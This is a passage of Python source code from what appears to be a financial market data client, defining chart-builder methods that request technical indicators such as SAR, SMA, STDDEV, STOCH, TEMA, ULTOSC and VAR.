def with_sar(
self,
acceleration="0.02",
maximum="0.2",
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of SAR to chart builder
Parabolic SAR(SAR) is used to identify and spot upcoming asset
momentum.
This API call returns meta and time series values of SAR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param acceleration:
:param maximum:
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = SAREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
acceleration=acceleration,
maximum=maximum,
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_sma(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of SMA to chart builder
Simple Moving Average(SMA) is an arithmetic moving average calculated
by adding latest closing prices and them dividing them by number of
time periods.
This API call returns meta and time series values of SMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = SMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_sqrt(
self,
exchange=None,
country=None,
series_type="close",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of SQRT to chart builder
Square Root(SQRT) transform input data with square root.
This API call returns meta and time series values of SQRT. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = SQRTEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_stddev(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
sd="2",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of STDDEV to chart builder
Standard Deviation(STDDEV) is used to measure volatility. Might be
important when assessing risks.
This API call returns meta and time series values of STDDEV. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param sd: Number of standard deviations. Must be at least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = STDDEVEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
sd=sd,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_stoch(
self,
exchange=None,
country=None,
fast_k_period="14",
slow_k_period="1",
slow_d_period="3",
slow_kma_type="SMA",
slow_dma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of STOCH to chart builder
Stochastic Oscillator(STOCH) is used to decide if the price trend is
strong.
This API call returns meta and time series values of STOCH. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param fast_k_period:
:param slow_k_period:
:param slow_d_period:
:param slow_kma_type:
:param slow_dma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = STOCHEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
fast_k_period=fast_k_period,
slow_k_period=slow_k_period,
slow_d_period=slow_d_period,
slow_kma_type=slow_kma_type,
slow_dma_type=slow_dma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_stochf(
self,
exchange=None,
country=None,
fast_k_period="14",
fast_d_period="3",
fast_dma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of STOCHF to chart builder
Stochastic Fast(STOCHF) is more sensitive to price changes, therefore
it changes direction more quickly.
This API call returns meta and time series values of STOCHF. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param fast_k_period:
:param fast_d_period:
:param fast_dma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = STOCHFEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
fast_k_period=fast_k_period,
fast_d_period=fast_d_period,
fast_dma_type=fast_dma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_stochrsi(
self,
exchange=None,
country=None,
series_type="close",
time_period=14,
fast_k_period="3",
fast_d_period="3",
fast_dma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of STOCHRSI to chart builder
Stochastic RSI(STOCHRSI) this indicator takes advantages of both
indicators STOCH and RSI. It is used to determine level of overbought
and oversold as well as current market trend of an asset.
This API call returns meta and time series values of STOCHRSI. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param fast_k_period:
:param fast_d_period:
:param fast_dma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = STOCHRSIEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
fast_k_period=fast_k_period,
fast_d_period=fast_d_period,
fast_dma_type=fast_dma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_supertrend(
self,
exchange=None,
country=None,
multiplier=3,
period=10,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of SuperTrend to chart builder
SuperTrend Indicator(SUPERTREND) is mostly used on intraday timeframes to detect
the price upward or downward direction in the trending market.
This API call returns meta and time series values of SuperTrend. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param multiplier: Multiplier is the number by which the range is multiplied
:param period: Period of the ATR indicator
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = SuperTrendEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
multiplier=multiplier,
period=period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_t3ma(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
v_factor="0.7",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of T3MA to chart builder
T3MA(T3MA).
This API call returns meta and time series values of T3MA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param v_factor:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = T3MAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
v_factor=v_factor,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_tema(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of TEMA to chart builder
Triple Exponential Moving Average(TEMA) it smooths out price
fluctuations, making it more trend detection more transparent without
the lag.
This API call returns meta and time series values of TEMA. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = TEMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_trange(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of TRANGE to chart builder
True Range(TRANGE) usually is used as the base when calculating other
indicators. TRANGE determines the normal trading range of an asset.
This API call returns meta and time series values of TRANGE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = TRANGEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_trima(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of TRIMA to chart builder
Triangular Moving Average(TRIMA) it smooths out price fluctuations,
but places more weight on the prices in middle of the time period.
This API call returns meta and time series values of TRIMA. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = TRIMAEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_tsf(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of TSF to chart builder
Time Series Forecast(TSF) calculates trend based on last points of
multiple regression trendlines.
This API call returns meta and time series values of TSF. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = TSFEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_typprice(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of TYPPRICE to chart builder
Typical Price(TYPPRICE).
This API call returns meta and time series values of TYPPRICE. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = TYPPRICEEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_ultosc(
self,
exchange=None,
country=None,
time_period_1="7",
time_period_2="14",
time_period_3="28",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ULTOSC to chart builder
Ultimate Oscillator(ULTOSC) takes into account three different time
periods to enhance quality of overbought and oversold signals.
This API call returns meta and time series values of ULTOSC. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period_1: Number of periods to average over. Must be at
least 1
:param time_period_2: Number of periods to average over. Must be at
least 1
:param time_period_3: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ULTOSCEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period_1=time_period_1,
time_period_2=time_period_2,
time_period_3=time_period_3,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_var(
self,
exchange=None,
country=None,
series_type="close",
time_period=9,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of VAR to chart builder
Variance(VAR) calculates the spread between data points to determine
how far are they from the mean.
This API call returns meta and time series values of VAR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param series_type: Price type on which technical indicator is
calculated
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = VAREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
series_type=series_type,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_vwap(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
